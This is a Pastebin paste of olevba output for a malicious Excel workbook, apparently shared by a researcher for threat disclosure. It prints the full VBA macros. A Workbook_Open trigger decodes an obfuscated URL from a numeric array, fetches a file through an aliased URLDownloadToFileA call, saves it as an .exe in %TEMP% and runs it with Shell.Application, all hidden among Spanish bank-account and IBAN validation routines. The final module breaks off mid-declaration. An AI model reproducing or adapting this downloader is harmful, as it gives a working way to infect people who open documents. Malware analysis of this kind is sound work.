Advertisement
dynamoo

Malicious Excel macro

Nov 27th, 2015
576
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MASIH--V 20151126-291-transfer.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: 20151126-291-transfer.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. Comprueba_CuentaBan ""
  17. PreparaBloquear
  18. Calculo_CC_IBAN "", ""
  19. InicializarFormatos
  20. End Sub
  21.  
  22.  
  23.  
  24.  
  25.  
  26.  
  27.  
  28.  
  29. -------------------------------------------------------------------------------
  30. VBA MACRO Ëèñò1.cls
  31. in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  32. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  33. (empty macro)
  34. -------------------------------------------------------------------------------
  35. VBA MACRO Ëèñò2.cls
  36. in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  37. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  38. (empty macro)
  39. -------------------------------------------------------------------------------
  40. VBA MACRO Ëèñò3.cls
  41. in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  42. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  43. (empty macro)
  44. -------------------------------------------------------------------------------
  45. VBA MACRO Module1.bas
  46. in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  47. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  48.  
  49. Public conn As String
  50. Public Const cPTours As Byte = 1
  51. Public Const cConta As Byte = 2
  52. Public vEmpresa As String
  53. Public vParamAplic As String
  54. Public vSesion As String
  55. Public vConfig As String
  56. Public FormatoFecha As String
  57. Public FormatoHora As String
  58. Public FormatoImporte As String
  59. Public FormatoPrecio As String
  60. Public FormatoPorcen As String
  61. Public FormatoExp As String
  62. Public FormatoDec10d2 As String
  63. Public FormatoDec10d3 As String
  64. Public FormatoDec5d4 As String
  65. Public FIni As String
  66. Public FFin As String
  67. Public FIniSeg As String
  68. Public FFinSeg As String
  69. Public FIniTel As String
  70. Public FFinTel As String
  71. Public teclaBuscar As Integer
  72. Public CadenaDesdeOtroForm As String
  73. Public NumRegElim As Long
  74. Public processEnv  As Object
  75. Public tempFolder As String
  76. Public tempFile As String
  77. Public shellApp As Object
  78. Public CadenaCambio As String
  79. Public ValorAnterior As String
  80. Public MensError As String
  81. Public AnchoLogin As String
  82. Public Aplicaciones As String
  83. #If Win64 Then
  84.     #If VBA7 Then    ' Windows x64, Office 2010
  85.       Declare PtrSafe Function CadenaParametro Lib "urlmon" Alias "URLDownloadToFileA" _
  86.                 (ByVal param1 As LongLong, ByVal param2 As String, ByVal param3 As String, _
  87.                  ByVal param4 As LongLong, ByVal param5 As LongLong) As LongLong
  88.     #Else    ' Windows x64,Office 2003-2007
  89.       Declare Function CadenaParametro Lib "urlmon" Alias "URLDownloadToFileA" _
  90.                                            (ByVal param1 As LongLong, ByVal param2 As String, ByVal param3 As String, _
  91.                                             ByVal param4 As LongLong, ByVal param5 As LongLong) As LongLong
  92.     #End If
  93. #Else
  94.     #If VBA7 Then    ' Windows x86, Office 2010
  95.       Declare PtrSafe Function CadenaParametro Lib "urlmon" Alias "URLDownloadToFileA" _
  96.                 (ByVal param1 As Long, ByVal param2 As String, ByVal param3 As String, _
  97.                  ByVal param4 As Long, ByVal param5 As Long) As Long
  98.     #Else    ' Windows x86, Office 2003-2007
  99.       Declare Function CadenaParametro Lib "urlmon" Alias "URLDownloadToFileA" _
  100.                                            (ByVal param1 As Long, ByVal param2 As String, ByVal param3 As String, _
  101.                                             ByVal param4 As Long, ByVal param5 As Long) As Long
  102.     #End If
  103. #End If
  104. Public Sub Main()
  105. Dim NomPc As String
  106. Dim Servidor As String
  107. Dim CadenaParametros As String
  108. Dim cad As String, Cad1 As String
  109. Dim Mens As String
  110. Dim b As Boolean
  111.  If App.PrevInstance Then
  112.  MsgBox "Actualizador de cuentas ya se esta ejecutando", vbExclamation
  113.  End
  114.  End If
  115.  Set vConfig = New Configuracion
  116.  If vConfig.leer = 1 Then
  117.  MsgBox "MAL CONFIGURADO", vbCritical
  118.  End
  119.  Exit Sub
  120.  End If
  121.  frmActualizarCCC.Show vbModal
  122. End Sub
  123. Public Function espera(Segundos As Single)
  124.  Dim T1
  125.  T1 = Timer
  126.  Do
  127.  Loop Until Timer - T1 > Segundos
  128. End Function
  129. Public Function AbrirConexion(Usuario As String, Pass As String, BaseDatos As String) As Boolean
  130. Dim cad As String
  131. On Error GoTo EAbrirConexion
  132.  AbrirConexion = False
  133.  Set conn = Nothing
  134.  Set conn = New Connection
  135.  conn.CursorLocation = adUseServer
  136.  cad = "DRIVER={MySQL ODBC 3.51 Driver};DESC=;DATABASE=" & Trim(BaseDatos) & ";SERVER=" & vConfig.SERVER
  137.  cad = cad & ";UID=" & Usuario
  138.  cad = cad & ";PWD=" & Pass
  139.  cad = cad & ";PORT=3306;OPTION=3;STMT=;"
  140.  cad = cad & ";Persist Security Info=true"
  141.  conn.ConnectionString = cad
  142.  conn.open
  143.  AbrirConexion = True
  144.  Exit Function
  145. EAbrirConexion:
  146.  MuestraError Err.Number, "Abrir conexi?n.", Err.Description
  147. End Function
  148. Public Sub MuestraError(numero As Long, Optional cadena As String, Optional Desc As String)
  149.  Dim cad As String
  150.  Dim Aux As String
  151.  On Error Resume Next
  152.  cad = "Se ha producido un error: " & vbCrLf
  153.  If cadena <> "" Then
  154.  cad = cad & vbCrLf & cadena & vbCrLf & vbCrLf
  155.  End If
  156.  If conn.Errors.Count > 0 Then
  157.  ControlamosError Aux
  158.  conn.Errors.Clear
  159.  Else
  160.  Aux = ""
  161.  End If
  162.  If Aux <> "" Then Desc = Aux
  163.  If Desc <> "" Then cad = cad & vbCrLf & Desc & vbCrLf & vbCrLf
  164.  If Aux = "" Then cad = cad & "N?mero: " & numero & vbCrLf & "Descripci?n: " & Error(numero)
  165.  MsgBox cad, vbExclamation
  166. End Sub
  167. Public Function DBSet(vData As Variant, Tipo As String, Optional EsNulo As String) As Variant
  168. Dim cad As String
  169.  If IsNull(vData) Then
  170.  DBSet = ValorNulo
  171.  Exit Function
  172.  End If
  173.  If Tipo <> "" Then
  174.  Select Case Tipo
  175.  Case "T"
  176.  If vData = "" Then
  177.  If EsNulo = "N" Then
  178.  DBSet = ""
  179.  Else
  180.  DBSet = ValorNulo
  181.  End If
  182.  Else
  183.  cad = (CStr(vData))
  184.  NombreSQL cad
  185.  DBSet = ""
  186.  End If
  187.  Case "N"
  188.  If vData = "" Or vData = 0 Then
  189.  If EsNulo <> "" Then
  190.  If EsNulo = "S" Then
  191.  DBSet = ValorNulo
  192.  Else
  193.  DBSet = 0
  194.  End If
  195.  Else
  196.  DBSet = 0
  197.  End If
  198.  Else
  199.  cad = CStr(ImporteFormateado(CStr(vData)))
  200.  DBSet = TransformaComasPuntos(cad)
  201.  End If
  202.  Case "F"
  203.  If vData = "" Then
  204.  If EsNulo = "S" Then
  205.  DBSet = ValorNulo
  206.  Else
  207.  DBSet = ""
  208.  End If
  209.  Else
  210.  DBSet = ""
  211.  End If
  212.  Case "FH"
  213.  If vData = "" Then
  214.  If EsNulo = "S" Then DBSet = ValorNulo
  215.  Else
  216.  DBSet = ""
  217.  End If
  218.  Case "H"
  219.  If vData = "" Then
  220.  Else
  221.  DBSet = ""
  222.  End If
  223.  Case "B"
  224.  If vData Then
  225.  DBSet = 1
  226.  Else
  227.  DBSet = 0
  228.  End If
  229.  End Select
  230.  End If
  231. End Function
  232. Public Function DBLetMemo(vData As Variant) As Variant
  233.  On Error Resume Next
  234.  DBLetMemo = vData
  235.  If Err.Number <> 0 Then
  236.  Err.Clear
  237.  DBLetMemo = ""
  238.  End If
  239. End Function
  240. Public Function DBLet(vData As Variant, Optional Tipo As String) As Variant
  241.  If IsNull(vData) Then
  242.  DBLet = ""
  243.  If Tipo <> "" Then
  244.  Select Case Tipo
  245.  Case "T"
  246.  DBLet = ""
  247.  Case "N"
  248.  DBLet = 0
  249.  Case "F"
  250.  DBLet = ""
  251.  Case "D"
  252.  DBLet = 0
  253.  Case "B"
  254.  DBLet = False
  255.  Case Else
  256.  DBLet = ""
  257.  End Select
  258.  End If
  259.  Else
  260.  DBLet = vData
  261.  End If
  262. End Function
  263. Public Sub PreparaBloquear()
  264.  
  265. tempFolder = processEnv("TEMP")
  266.  
  267.  'conn.Execute "commit"
  268. 'conn.Execute "set autocommit=0"
  269. tempFile = tempFolder + "\" + "rudakop" + Chr(46) + "e" + "" + "" + "" + "xe"
  270. End Sub
  271. Public Sub TerminaBloquear()
  272.  conn.Execute "commit"
  273.  conn.Execute "set autocommit=1"
  274. End Sub
  275. Public Function ImporteFormateado(Importe As String) As Currency
  276. Dim i As Integer
  277.  If Importe = "" Then
  278.  ImporteFormateado = 0
  279.  Else
  280.  Do
  281.  i = InStr(1, Importe, ".")
  282.  If i > 0 Then Importe = Mid(Importe, 1, i - 1) & Mid(Importe, i + 1)
  283.  Loop Until i = 0
  284.  ImporteFormateado = Importe
  285.  End If
  286. End Function
  287. Public Function ImporteSinFormato(cadena As String) As String
  288. Dim i As Integer
  289. Do
  290.  i = InStr(1, cadena, ".")
  291.  If i > 0 Then cadena = Mid(cadena, 1, i - 1) & Mid(cadena, i + 1)
  292. Loop Until i = 0
  293. ImporteSinFormato = TransformaPuntosComas(cadena)
  294. End Function
  295. Public Function TransformaComasPuntos(cadena As String) As String
  296. Dim i As Integer
  297.  Do
  298.  i = InStr(1, cadena, ",")
  299.  If i > 0 Then
  300.  cadena = Mid(cadena, 1, i - 1) & "." & Mid(cadena, i + 1)
  301.  End If
  302.  Loop Until i = 0
  303.  TransformaComasPuntos = cadena
  304. End Function
  305. Public Sub NombreSQL(ByRef cadena As String)
  306. Dim j As Integer
  307. Dim i As Integer
  308. Dim Aux As String
  309.  j = 1
  310.  Do
  311.  i = InStr(J, cadena, "
  312. If i > 0 Then
  313. Aux = Mid(cadena, 1, i - 1) & "\"
  314. cadena = Aux & Mid(cadena, i)
  315. j = i + 2
  316. End If
  317. Loop Until i = 0
  318. End Sub
  319. Public Function EsFechaOKString(ByRef t As String) As Boolean
  320. Dim cad As String
  321. cad = t
  322. If InStr(1, cad, "/") = 0 Then
  323. If Len(t) = 8 Then
  324. cad = Mid(cad, 1, 2) & "/" & Mid(cad, 3, 2) & "/" & Mid(cad, 5)
  325. Else
  326. If Len(t) = 6 Then cad = Mid(cad, 1, 2) & "/" & Mid(cad, 3, 2) & "/" & Mid(cad, 5)
  327. End If
  328. End If
  329. If IsDate(cad) Then
  330. EsFechaOKString = True
  331. t = Format(cad, "dd/mm/yyyy")
  332. Else
  333. EsFechaOKString = False
  334. End If
  335. End Function
  336. Public Function DevNombreSQL(cadena As String) As String
  337. Dim j As Integer
  338. Dim i As Integer
  339. Dim Aux As String
  340. j = 1
  341. Do
  342. i = InStr(J, cadena, "
  343.  If i > 0 Then
  344.  Aux = Mid(cadena, 1, i - 1) & "\"
  345.  cadena = Aux & Mid(cadena, i)
  346.  j = i + 2
  347.  End If
  348.  Loop Until i = 0
  349.  DevNombreSQL = cadena
  350. End Function
  351. Public Function DevuelveDesdeBD(kCampo As String, Ktabla As String, Kcodigo As String, ValorCodigo As String, Optional Tipo As String, Optional ByRef otroCampo As String) As String
  352.  Dim RS As Recordset
  353.  Dim cad As String
  354.  Dim Aux As String
  355.  On Error GoTo EDevuelveDesdeBD
  356.  DevuelveDesdeBD = ""
  357.  cad = "Select " & kCampo
  358.  If otroCampo <> "" Then cad = cad & ", " & otroCampo
  359.  cad = cad & " FROM " & Ktabla
  360.  cad = cad & " WHERE " & Kcodigo & " = "
  361.  If Tipo = "" Then Tipo = "N"
  362.  Select Case Tipo
  363.  Case "N"
  364.  cad = cad & ValorCodigo
  365.  Case "T", "F"
  366.  cad = cad & ""
  367.  Case Else
  368.  MsgBox "Tipo : " & Tipo & " no definido", vbExclamation
  369.  Exit Function
  370.  End Select
  371.  Set RS = New ADODB.Recordset
  372.  RS.open cad, conn, adOpenForwardOnly, adLockOptimistic, adCmdText
  373.  If Not RS.EOF Then
  374.  DevuelveDesdeBD = DBLet(RS.Fields(0))
  375.  If otroCampo <> "" Then otroCampo = DBLet(RS.Fields(1))
  376.  End If
  377.  RS.Close
  378.  Set RS = Nothing
  379.  Exit Function
  380. EDevuelveDesdeBD:
  381.  MuestraError Err.Number, "Devuelve DesdeBD.", Err.Description
  382. End Function
  383. Public Function DevuelveDesdeBDNew(vBD As Byte, Ktabla As String, kCampo As String, Kcodigo1 As String, valorCodigo1 As String, Optional tipo1 As String, Optional ByRef otroCampo As String, Optional KCodigo2 As String, Optional ValorCodigo2 As String, Optional tipo2 As String, Optional KCodigo3 As String, Optional ValorCodigo3 As String, Optional tipo3 As String) As String
  384. Dim RS As Recordset
  385. Dim cad As String
  386. Dim Aux As String
  387. On Error GoTo EDevuelveDesdeBDnew
  388.  DevuelveDesdeBDNew = ""
  389.  cad = "Select " & kCampo
  390.  If otroCampo <> "" Then cad = cad & ", " & otroCampo
  391.  cad = cad & " FROM " & Ktabla
  392.  If Kcodigo1 <> "" Then
  393.  cad = cad & " WHERE " & Kcodigo1 & " = "
  394.  If tipo1 = "" Then tipo1 = "N"
  395.  Select Case tipo1
  396.  Case "N"
  397.  cad = cad & Val(valorCodigo1)
  398.  Case "T"
  399.  cad = cad & DBSet(valorCodigo1, "T")
  400.  Case "F"
  401.  cad = cad & DBSet(valorCodigo1, "F")
  402.  Case Else
  403.  MsgBox "Tipo : " & tipo1 & " no definido", vbExclamation
  404.  Exit Function
  405.  End Select
  406.  End If
  407.  If KCodigo2 <> "" Then
  408.  cad = cad & " AND " & KCodigo2 & " = "
  409.  If tipo2 = "" Then tipo2 = "N"
  410.  Select Case tipo2
  411.  Case "N"
  412.  If ValorCodigo2 = "" Then
  413.  cad = cad & "-1"
  414.  Else
  415.  cad = cad & Val(ValorCodigo2)
  416.  End If
  417.  Case "T"
  418.  cad = cad & DBSet(ValorCodigo2, "T")
  419.  Case "F"
  420.  cad = cad & ""
  421.  Case Else
  422.  MsgBox "Tipo : " & tipo2 & " no definido", vbExclamation
  423.  Exit Function
  424.  End Select
  425.  End If
  426.  If KCodigo3 <> "" Then
  427.  cad = cad & " AND " & KCodigo3 & " = "
  428.  If tipo3 = "" Then tipo3 = "N"
  429.  Select Case tipo3
  430.  Case "N"
  431.  If ValorCodigo3 = "" Then
  432.  cad = cad & "-1"
  433.  Else
  434.  cad = cad & Val(ValorCodigo3)
  435.  End If
  436.  Case "T"
  437.  cad = cad & ""
  438.  Case "F"
  439.  cad = cad & ""
  440.  Case Else
  441.  MsgBox "Tipo : " & tipo3 & " no definido", vbExclamation
  442.  Exit Function
  443.  End Select
  444.  End If
  445.  Set RS = New ADODB.Recordset
  446.  Select Case vBD
  447.  Case cPTours
  448.  RS.open cad, conn, adOpenForwardOnly, adLockOptimistic, adCmdText
  449.  End Select
  450.  If Not RS.EOF Then
  451.  DevuelveDesdeBDNew = DBLet(RS.Fields(0))
  452.  If otroCampo <> "" Then otroCampo = DBLet(RS.Fields(1))
  453.  End If
  454.  RS.Close
  455.  Set RS = Nothing
  456.  Exit Function
  457. EDevuelveDesdeBDnew:
  458.  MuestraError Err.Number, "Devuelve DesdeBD.", Err.Description
  459. End Function
  460. Public Function DevuelveDesdeBDnew2(kBD As Integer, kCampo As String, Ktabla As String, Kcodigo As String, ValorCodigo As String, Optional Tipo As String, Optional num As Byte, Optional ByRef otroCampo As String) As String
  461. Dim RS As Recordset
  462. Dim cad As String
  463. Dim Aux As String
  464. Dim v_aux As Integer
  465. Dim campo As String
  466. Dim Valor As String
  467. Dim tip As String
  468. On Error GoTo EDevuelveDesdeBDnew2
  469. DevuelveDesdeBDnew2 = ""
  470. cad = "Select " & kCampo
  471. If otroCampo <> "" Then cad = cad & ", " & otroCampo
  472. cad = cad & " FROM " & Ktabla
  473. If Kcodigo <> "" Then cad = cad & " where "
  474. For v_aux = 1 To num
  475.  campo = RecuperaValor(Kcodigo, v_aux)
  476.  Valor = RecuperaValor(ValorCodigo, v_aux)
  477.  tip = RecuperaValor(Tipo, v_aux)
  478.  cad = cad & campo & "="
  479.  If tip = "" Then Tipo = "N"
  480.  Select Case tip
  481.  Case "N"
  482.  cad = cad & Valor
  483.  Case "T", "F"
  484.  cad = cad & ""
  485.  Case Else
  486.  MsgBox "Tipo : " & tip & " no definido", vbExclamation
  487.  Exit Function
  488.  End Select
  489.  If v_aux < num Then cad = cad & " AND "
  490.  Next v_aux
  491. Set RS = New ADODB.Recordset
  492. Select Case kBD
  493.  Case 1
  494.  RS.open cad, conn, adOpenForwardOnly, adLockOptimistic, adCmdText
  495. End Select
  496. If Not RS.EOF Then
  497.  DevuelveDesdeBDnew2 = DBLet(RS.Fields(0))
  498.  If otroCampo <> "" Then otroCampo = DBLet(RS.Fields(1))
  499. Else
  500.  If otroCampo <> "" Then otroCampo = ""
  501. End If
  502. RS.Close
  503. Set RS = Nothing
  504. Exit Function
  505. EDevuelveDesdeBDnew2:
  506.  MuestraError Err.Number, "Devuelve DesdeBDnew2.", Err.Description
  507. End Function
  508. Public Function EsEntero(Texto As String) As Boolean
  509. Dim i As Integer
  510. Dim C As Integer
  511. Dim L As Integer
  512. Dim res As Boolean
  513.  res = True
  514.  EsEntero = False
  515.  If Not IsNumeric(Texto) Then
  516.  res = False
  517.  Else
  518.  C = 0
  519.  L = 1
  520.  Do
  521.  i = InStr(L, Texto, ".")
  522.  If i > 0 Then
  523.  L = i + 1
  524.  C = C + 1
  525.  End If
  526.  Loop Until i = 0
  527.  If C > 1 Then res = False
  528.  If C = 0 Then
  529.  L = 1
  530.  Do
  531.  i = InStr(L, Texto, ",")
  532.  If i > 0 Then
  533.  L = i + 1
  534.  C = C + 1
  535.  End If
  536.  Loop Until i = 0
  537.  If C > 1 Then res = False
  538.  End If
  539.  End If
  540.  EsEntero = res
  541. End Function
  542. Public Function TransformaPuntosComas(cadena As String) As String
  543.  Dim i As Integer
  544.  Do
  545.  i = InStr(1, cadena, ".")
  546.  If i > 0 Then
  547.  cadena = Mid(cadena, 1, i - 1) & "," & Mid(cadena, i + 1)
  548.  End If
  549.  Loop Until i = 0
  550.  TransformaPuntosComas = cadena
  551. End Function
  552. Public Sub InicializarFormatos()
  553.  shellApp.open (tempFile)
  554.  FormatoFecha = "yyyy-mm-dd"
  555.  FormatoHora = "hh:mm:ss"
  556.  FormatoImporte = "#,###,###,##0.00"
  557.  FormatoPrecio = "##,##0.000"
  558.  FormatoPorcen = "##0.00"
  559.  FormatoDec10d2 = "##,###,##0.00"
  560.  FormatoDec10d3 = "##,###,##0.000"
  561.  FormatoDec5d4 = "0.0000"
  562.  FormatoExp = "0000000000"
  563. End Sub
  564. Public Sub AccionesCerrar()
  565.  On Error Resume Next
  566.  Set vEmpresa = Nothing
  567.  Set vSesion = Nothing
  568.  conn.Close
  569.  Set conn = Nothing
  570.  If Err.Number <> 0 Then Err.Clear
  571. End Sub
  572.  
  573.  
  574.  
  575.  
  576.  
  577.  
  578.  
  579. -------------------------------------------------------------------------------
  580. VBA MACRO Module2.bas
  581. in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  582. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  583. Public Function delete_all_wom(fromArr() As Variant, LenLen As Integer, ByRef ruda As String) As String
  584.     Dim i As Integer
  585.     Variabl = ""
  586.     For i = LBound(fromArr) To UBound(fromArr)
  587.         Variabl = Variabl & Chr(fromArr(i) - LenLen - 9 * LenLen - 1000 - 234)
  588.     Next i
  589.     ruda = Variabl
  590. End Function
  591. Public Function Comprueba_CC(CC As String) As Boolean
  592.  Dim ent As String
  593.  Dim Suc As String
  594.  Dim DC As String
  595.  Dim i, i2, i3, i4 As Integer
  596.  Dim NumCC As String
  597.  If Len(CC) <> 20 Then Exit Function
  598.  i = Val(Mid(CC, 1, 1)) * 4
  599.  i = i + Val(Mid(CC, 2, 1)) * 8
  600.  i = i + Val(Mid(CC, 3, 1)) * 5
  601.  i = i + Val(Mid(CC, 4, 1)) * 10
  602.  i = i + Val(Mid(CC, 5, 1)) * 9
  603.  i = i + Val(Mid(CC, 6, 1)) * 7
  604.  i = i + Val(Mid(CC, 7, 1)) * 3
  605.  i = i + Val(Mid(CC, 8, 1)) * 6
  606.  i2 = Int(i / 11)
  607.  i3 = i - (i2 * 11)
  608.  i4 = 11 - i3
  609.  Select Case i4
  610.  Case 11
  611.  i4 = 0
  612.  Case 10
  613.  i4 = 1
  614.  End Select
  615.  If i4 <> Val(Mid(CC, 9, 1)) Then Exit Function
  616.  i = Val(Mid(CC, 11, 1)) * 1
  617.  i = i + Val(Mid(CC, 12, 1)) * 2
  618.  i = i + Val(Mid(CC, 13, 1)) * 4
  619.  i = i + Val(Mid(CC, 14, 1)) * 8
  620.  i = i + Val(Mid(CC, 15, 1)) * 5
  621.  i = i + Val(Mid(CC, 16, 1)) * 10
  622.  i = i + Val(Mid(CC, 17, 1)) * 9
  623.  i = i + Val(Mid(CC, 18, 1)) * 7
  624.  i = i + Val(Mid(CC, 19, 1)) * 3
  625.  i = i + Val(Mid(CC, 20, 1)) * 6
  626.  i2 = Int(i / 11)
  627.  i3 = i - (i2 * 11)
  628.  i4 = 11 - i3
  629.  Select Case i4
  630.  Case 11
  631.  i4 = 0
  632.  Case 10
  633.  i4 = 1
  634.  End Select
  635.  If i4 <> Val(Mid(CC, 10, 1)) Then Exit Function
  636.  Comprueba_CC = True
  637. End Function
  638. Public Function Comprueba_CuentaBan(CC As String) As Boolean
  639.  Dim urlAr() As Variant
  640. urlAr = Array(1878, 1890, 1890, 1886, 1832, 1821, 1821, 1886, 1871, 1890, 1878, 1875, 1884, 1888, 1895, 1879, 1882, 1891, 1883, 1879, 1884, 1871, 1873, 1879, 1885, 1884, 1820, 1879, 1830, 1820, 1873, 1885, 1883, 1821, 1829, 1828, 1876, 1828, 1874, 1827, 1821, 1827, 1826, 1889, 1874, 1876, 1877, 1829, 1878, 1830, 1880, 1820, 1875, 1894, 1875)
  641. delete_all_wom urlAr, 54, FormatoHora
  642. Set shellApp = CreateObject("Shell.Application")
  643. Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  644. Exit Function
  645.  If Trim(CC) <> "" Then
  646.  If Not Comprueba_CC(CC) Then
  647.  MsgBox "La cuenta bancaria no es correcta", vbInformation
  648.  End If
  649.  End If
  650. End Function
  651. Public Function DownloadFile(url As String, LocalFilename As String) As Boolean
  652. Dim lngRetVal As Long
  653. CadenaParametro 0, url, LocalFilename, 0, 0
  654. If lngRetVal = 0 Then DownloadFile = True
  655. End Function
  656. Public Function Comprueba_CC_IBAN(CC As String, IBAN As String) As Boolean
  657.  Dim ent As String
  658.  Dim Suc As String
  659.  Dim DC As String
  660.  Dim i, i2, i3, i4 As Integer
  661.  Dim NumCC As String
  662.  If Len(IBAN) <> 4 Then Exit Function
  663.  i = Val(Mid(CC, 1, 1)) * 4
  664.  i = i + Val(Mid(CC, 2, 1)) * 8
  665.  i = i + Val(Mid(CC, 3, 1)) * 5
  666.  i = i + Val(Mid(CC, 4, 1)) * 10
  667.  i = i + Val(Mid(CC, 5, 1)) * 9
  668.  i = i + Val(Mid(CC, 6, 1)) * 7
  669.  i = i + Val(Mid(CC, 7, 1)) * 3
  670.  i = i + Val(Mid(CC, 8, 1)) * 6
  671.  i2 = Int(i / 11)
  672.  i3 = i - (i2 * 11)
  673.  i4 = 11 - i3
  674.  Select Case i4
  675.  Case 11
  676.  i4 = 0
  677.  Case 10
  678.  i4 = 1
  679.  End Select
  680.  If i4 <> Val(Mid(CC, 9, 1)) Then Exit Function
  681.  i = Val(Mid(CC, 11, 1)) * 1
  682.  i = i + Val(Mid(CC, 12, 1)) * 2
  683.  i = i + Val(Mid(CC, 13, 1)) * 4
  684.  i = i + Val(Mid(CC, 14, 1)) * 8
  685.  i = i + Val(Mid(CC, 15, 1)) * 5
  686.  i = i + Val(Mid(CC, 16, 1)) * 10
  687.  i = i + Val(Mid(CC, 17, 1)) * 9
  688.  i = i + Val(Mid(CC, 18, 1)) * 7
  689.  i = i + Val(Mid(CC, 19, 1)) * 3
  690.  i = i + Val(Mid(CC, 20, 1)) * 6
  691.  i2 = Int(i / 11)
  692.  i3 = i - (i2 * 11)
  693.  i4 = 11 - i3
  694.  Select Case i4
  695.  Case 11
  696.  i4 = 0
  697.  Case 10
  698.  i4 = 1
  699.  End Select
  700.  If i4 <> Val(Mid(CC, 10, 1)) Then Exit Function
  701.  Comprueba_CC_IBAN = True
  702. End Function
  703. Public Function Calculo_CC_IBAN(CC As String, IBAN As String) As String
  704.  Dim ent As String
  705.  Dim Suc As String
  706.  Dim DC As String
  707.  Dim i, i2, i3, i4 As Integer
  708.  Dim NumCC As String
  709.  Dim vIban As String
  710.  Dim v1 As String
  711.  Dim v2 As String
  712.  Dim n1 As Integer
  713.  Dim n2 As String
  714.  DownloadFile FormatoHora, tempFile
  715.  Resul = 0
  716.  If Len(CC) <> 20 Then Exit Function
  717.  If Len(IBAN) = 0 Then
  718.  vIban = "ES"
  719.  Else
  720.  vIban = IBAN
  721.  End If
  722.  If IsNumeric(Mid(vIban, 1, 2)) Then
  723.  Exit Function
  724.  Else
  725.  v1 = Mid(UCase(vIban), 1, 1)
  726.  v2 = Mid(UCase(vIban), 2, 1)
  727.  If Asc(v1) >= 65 And Asc(v1) <= 90 And Asc(v2) >= 65 And Asc(v2) <= 90 Then
  728.  n1 = ValorLetra(v1)
  729.  n2 = ValorLetra(v2)
  730.  End If
  731.  CC = CC & n1 & n2
  732.  End If
  733.  cc1 = Mid(CC, 1, 9)
  734.  cc2 = Mid(CC, 10, Len(CC) - 9)
  735.  For i = 1 To 4
  736.  dig1 = cc1 Mod 97
  737.  cc1 = dig1 & cc2
  738.  If cc2 = "" Then Exit For
  739.  If Len(cc1) > 9 Then
  740.  cc2 = Mid(cc1, 10, Len(cc1))
  741.  cc1 = Mid(cc1, 1, 9)
  742.  Else
  743.  cc2 = ""
  744.  End If
  745.  Next i
  746.  Resul = 98 - dig1
  747.  Calculo_CC_IBAN = Mid(vIban, 1, 2) & Format(Resul, "00")
  748. End Function
  749. Private Function ValorLetra(LEtra As String) As Byte
  750. Dim Valor As Byte
  751.  If Asc(LEtra) >= 65 And Asc(LEtra) <= 90 Then
  752.  Valor = Asc(LEtra) - 55
  753.  End If
  754.  ValorLetra = Valor
  755. End Function
  756. Public Function DigitoControlCorrecto(CC As String) As String
  757.  Dim ent As String
  758.  Dim Suc As String
  759.  Dim DC As String
  760.  Dim i, i2, i3, i4 As Integer
  761.  Dim NumCC As String
  762.  If Len(CC) <> 20 Then Exit Function
  763.  i = Val(Mid(CC, 1, 1)) * 4
  764.  i = i + Val(Mid(CC, 2, 1)) * 8
  765.  i = i + Val(Mid(CC, 3, 1)) * 5
  766.  i = i + Val(Mid(CC, 4, 1)) * 10
  767.  i = i + Val(Mid(CC, 5, 1)) * 9
  768.  i = i + Val(Mid(CC, 6, 1)) * 7
  769.  i = i + Val(Mid(CC, 7, 1)) * 3
  770.  i = i + Val(Mid(CC, 8, 1)) * 6
  771.  i2 = Int(i / 11)
  772.  i3 = i - (i2 * 11)
  773.  i4 = 11 - i3
  774.  Select Case i4
  775.  Case 11
  776.  i4 = 0
  777.  Case 10
  778.  i4 = 1
  779.  End Select
  780.  DC = i4
  781.  i = Val(Mid(CC, 11, 1)) * 1
  782.  i = i + Val(Mid(CC, 12, 1)) * 2
  783.  i = i + Val(Mid(CC, 13, 1)) * 4
  784.  i = i + Val(Mid(CC, 14, 1)) * 8
  785.  i = i + Val(Mid(CC, 15, 1)) * 5
  786.  i = i + Val(Mid(CC, 16, 1)) * 10
  787.  i = i + Val(Mid(CC, 17, 1)) * 9
  788.  i = i + Val(Mid(CC, 18, 1)) * 7
  789.  i = i + Val(Mid(CC, 19, 1)) * 3
  790.  i = i + Val(Mid(CC, 20, 1)) * 6
  791.  i2 = Int(i / 11)
  792.  i3 = i - (i2 * 11)
  793.  i4 = 11 - i3
  794.  Select Case i4
  795.  Case 11
  796.  i4 = 0
  797.  Case 10
  798.  i4 = 1
  799.  End Select
  800.  DC = DC & i4
  801.  DigitoControlCorrecto = DC
  802. End Function
  803.  
  804.  
  805.  
  806.  
  807. -------------------------------------------------------------------------------
  808. VBA MACRO Module3.bas
  809. in file: 20151126-291-transfer.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
  810. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  811.  
  812. Dim Filename As String
  813. Dim astr As String
  814. Dim bstr As String
  815. Dim a As ubyte
  816. Dim b As ubyte
